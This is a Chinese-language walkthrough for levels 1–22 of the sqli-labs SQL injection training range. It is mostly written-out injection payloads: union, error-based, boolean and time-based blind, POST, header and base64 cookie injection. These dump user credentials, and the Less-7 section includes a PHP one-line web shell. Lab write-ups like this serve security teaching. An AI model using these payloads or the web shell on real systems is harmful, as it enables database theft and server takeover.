sqli-labs 靶场
sqli-labs是一个印度程序员写的一个关于SQL注入的靶场,一共有65个关卡,其中关卡的类型有但不限于
联合查询注入,报错注入,布尔盲注,延时盲注,POST注入,Cookie注入,WAF绕过
比较适合初学者,难度小,涉及面广
此次只做1-22通关手册
Less-1
1、简单判断此处是否存在sql注入
该页面提醒我们:请输入ID作为带数值的参数
我们尝试输入 ?id=1
根据返回的结果不同,可见输入内容已经在数据库中查询,也存在注入点
2、开始注入
url中写入: ?id=-1'union select 1,database(),version()--
可以获取当前 数据名 和 版本号 —— security 5.5.53
暴表:
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
暴字段名:
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
可以看到有 username 字段和 password 字段 ,我们可以得到字段内信息
暴数据:
?id=-1' union select 1,2,group_concat(username , password) from users--+
Less-2
与Less-1基本相似,判断思路一样。
我们在url输入时,加单双引号,都会报错,且看不到数字
Less-2 是数字型注入(intiger),Less-1 是字符型注入(string)
代码和Less-1基本相同 ,去掉 < ' >
获取数据,版本号:
?id=-1 union select 1,database(),version()
暴表:
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
暴字段:
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
暴数据:
?id=-1 union select 1,2,group_concat(username , password) from users
Less-3
在url输入 ?id=1 和 ?id=1'
在输入 ?id=1' 时,出现报错
可推断出sql语句是 单引号字符型,且有括号。所以闭合需要考虑单引号和括号
代码相比于上一题只需加上 ‘ ' ’ 和 ‘ )’ (单引号和括号)
我们依旧是用 联合注入
显示表格列数
?id=1") order by 3--+
暴出显示位(可以看到哪一列是在页面显示) 可见2、3列的数据显示在页面
?id=-1') union select 1,2,3--+
显示数据名和版本号
?id=-1') union select 1,database(),version()--+
显示表
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
显示字段
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
显示数据
?id=-1') union select 1,2,group_concat(username ,password) from users--+
Less-4
输入 ?id=1" 时报错
可推断出sql语句是 双引号字符型,且有括号。所以闭合需要考虑单引号和括号
代码相比于上一题只需将单引号改为双引号
显示表格列数
?id=1") order by 3--+
暴出显示位
?id=-1") union select 1,2,3--+
显示数据名和版本号
?id=-1") union select 1,database(),version()--+
显示表
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
显示字段
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
显示数据
?id=-1") union select 1,2,group_concat(username , password) from users--+
Less-5
输入?id=1 ?id=1' ?id=1"
根据报错结果得知是字符型
返回的也与之前不同,没有回显位,也就不使用联合注入了。选择报错注入
爆出数据库名和版本号
?id=1' and updatexml(1,concat(0x7e,database(),0x7e,version()),1) --+
爆出数据库下所有表名
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,32)),1)--+
爆出字段
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,32)),1) --+
爆出字段下数据内容
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,id,password) from users),1,30)),1) --+
Less-6
输入 ?id=1"
代码和上一题一样,不过是用双引号进行注入
爆出数据库名和版本号
?id=1" and updatexml(1,concat(0x7e,database(),0x7e,version()),1) --+--+
爆出数据库下所有表名
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,32)),1)--+
爆出字段
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,32)),1) --+
爆出字段下数据内容
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(username,id,password) from users),1,30)),1) --+
Less-7
判断是否存在注入点,并用--+进行注释
页面提示我们利用文件上传来做
可以使用一句话木马,通过url上传(123为连接密码)
<?php @eval($_POST['123']);?>
该文件要在Less-7的目录下创建 ,创建文件2.php
再使用中国蚁剑进行连接,即可访问数据库,获取信息
Less-8
判断是否存在注入点
结果表示本题为单引号盲注
猜数据库长度。
?id=1' and length(database())=8--+
显示该页面,证明猜对(比较浪费时间,但需要不断尝试)
猜数据库名
?id=1' and left(database(),1)>'s'--+
left(database(),1)>'n'就是判断数据库名第一位是否大于'n',一直比下去,在's'时就会报错,就说明数据库第一位为's'
可得数据库名第一位是 s
同理可得,前两位是 se
?id=1' and left(database(),2)>'se'--+
以此类推,得出数据库名
猜表名
使用 ascii() 函数,返回字符 ascii 码值
当= 101 时显示正常,其对应字母是 e ,则第一张表第一个字母为 e
后面的字母,以此类推
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+
猜字段
当= 105 时页面显示正常,说明 user 表下的第一个字段,第一个字母是 i
以此类推,得出其余数据
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105--+
猜字段下内容(数据)
当= 68 时页面显示正常,说明 password 字段下的第一个字母是 D,
以此类推,得出数据
?id=1' and ascii(substr((select password from users limit 0,1),1,1))=68--+
Less-9
第九关是单引号注入,不过输入的东西没有任何变化,可以采用时间盲注
1.判断数据库长度
页面延迟五秒刷新,说明数据库长度是大于6的,以此类推可以猜出数据库名长度
?id=1' and if(length((select database()))>6,sleep(5),1)--+
逐一判断数据库名的字符
页面延迟五秒刷新,说明数据库名第一个字母为's',以此类推可以猜出数据库名
?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
2.判断表名长度
?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
逐一判断表名的字符
页面延迟五秒刷新,说明表名第一个字母为'e',以此类推可以猜出表名
?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101,sleep(5),1)--+
3.判断所有字段名长度
?id=1' and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>10,sleep(5),1)--+
逐一判断字段名的字符
页面延迟五秒刷新,说明users表下第一个字段名的字母为'i',以此类推可以猜出字段名
?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=105,sleep(5),1)--+
4.判断字段内容长度
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
逐一判断字段内容的字符
页面延迟五秒刷新,说明users表下第一个字段内容的字母为'D',以此类推可以猜出字段内容
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))=68,sleep(5),1)--+
Less-10
代码及注入方式和第九关相同,区别是第十关是双引号注入
判断是否存在注入点
?id=1" and if(1=1,sleep(5),1)--+
判断数据库长度
?id=1" and if(length((select database()))>6,sleep(5),1)--+
逐一判断数据库名的字符
?id=1" and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
2.判断表名长度
?id=1" and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
逐一判断表名的字符
?id=1" and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101,sleep(5),1)--+
3.判断所有字段名长度
?id=1" and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>10,sleep(5),1)--+
逐一判断字段名的字符
?id=1" and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=105,sleep(5),1)--+
4.判断字段内容长度
?id=1" and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
逐一判断字段内容的字符
?id=1" and if(ascii(substr((select group_concat(username,password) from users),1,1))=68
Less-11
从11关开始,便是 POST 请求了,可以直接选择对输入框注入
同时可以选择使用 burpsuit 工具,进行拦截抓包,更好观察和理解
判断是否有注入点
我们通过报错信息可以判断出 sql语句 username='参数' and password='参数
判断是否存在注入点
1'or 1=1#
获取信息
1' union select 1,2#
Less-12
输入 1 和 1' 时没有反应, 1" 则报错,可以判断是双引号注入,且有括号
判断是否存在注入点
1")or 1=1#
代码较上一题 改为双引号并增加括号
1")union select 1,2#
Less-13
和12关相似,把双引号改为单引号即可
判断注入点
1')or 1=1#
注入
1')union select 1,2#
Less-14
和11关相似,把11关单引号换成双引号
判断
1"or 1=1#
注入
1"union select 1,2#
Less-15
该题是POST 方式的布尔型盲注,我使用burpsuit抓包工具进行操作
拦截网页请求到重放器
修改字段,进行注入
修改为
uname=admin'and (length(database())=8)--+&passwd=123456&submit=Submit
POST 方式的时间盲注
与布尔盲注相似,稍作更改
时间盲注,响应时间比之翻倍
将uname字段
修改为
uname=admin'and (select if(length(database())>1,sleep(3),null))--+-+&passwd=123456&submit=Submit
Less-16
和12关一样,进行布尔盲注即可
1")or 1=1#
Less-17
17关是一个已经登录了的,密码重置页面
查看我们源码,是根据我们提供的账户名去数据库查看用户名和密码,
如果账户名正确那么将密码改成你输入的密码
在执行这条sql语句之前会对输入的账户名进行检查,对输入的特殊字符转义。
所以我们能够利用的只有更新密码的sql语句。sql语句之前都是查询,
这里有一个update更新数据库里面信息,我们此次用报错注入
爆版本
123' and (updatexml(1,concat(0x5c,version(),0x5c),1))#
爆数据库
123' and (updatexml(1,concat(0x5c,database(),0x5c),1))#
爆表名
123' and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))#
爆字段名
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))#
爆密码 该格式针对mysql数据库。
123' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin1') b),0x5c),1))#
爆其他表就可以,下面是爆emails表
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='emails'),0x5c),1))#
爆字段内容。
1' and (updatexml (1,concat(0x5c,(select group_concat(id,email_id) from emails),0x5c),1))#
Less-18
用户输入信息会被过滤,而http头信息不会被过滤
我们对HTTP头中的 User-Agent 进行修改,从而进行SQL注入攻击
在User-Agent后添加一个单引号
存在注入点
爆账户密码
1' ,2, (extractvalue(1,concat(0x5c,(select group_concat(password,username) from users),0x5c)))#
Less-19
此处和 Less-18 一样,只是,这里的uagent 换成了 HTTP_REFERER所以同样存在注入,
也支持 updatexml报错注入
报错注入
在referer下修改
Referer: http://192.168.37.136/sqli-labs/Less-19/'and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1
Less-20
打开Less-20,必须登录才可获取Cookie
拦截后,放行请求即可抓到Cookie
使用 updatexml 报错注入获取数据库名称:
Cookie: uname=admin'and updatexml(1,concat(0x7e,database(),0x7e),1)or'1'='
暴表:
Cookie: uname=admin' union select 1,2,database() -- #
暴字段:
Cookie: uname=admin' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security' -- #
暴数据:
Cookie: uname=admin' union select 1,2,group_concat(username,0x7e,password)from security.users -- #
Less-21
第21关和20类似
区别是cookie那里不是用户名而是一串字符。是base64编码
所以我们可以将单引号进行编码 jw== 可以发现报错并且还得有括号。
将注入代码,进行编码,即可爆出账户密码
')and updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)#
编码结果
JylhbmQgdXBkYXRleG1sICgxLGNvbmNhdCgweDVjLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLHBhc3N3b3JkKSBmcm9tIHVzZXJzKSwweDVjKSwxKSM=
Less-22
和21关相似,cookie是双引号base64编码,没有括号
重复上一关操作即可
"and updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)#
编码结果
ImFuZCB1cGRhdGV4bWwgKDEsY29uY2F0KDB4NWMsKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUscGFzc3dvcmQpIGZyb20gdXNlcnMpLDB4NWMpLDEpIw==
完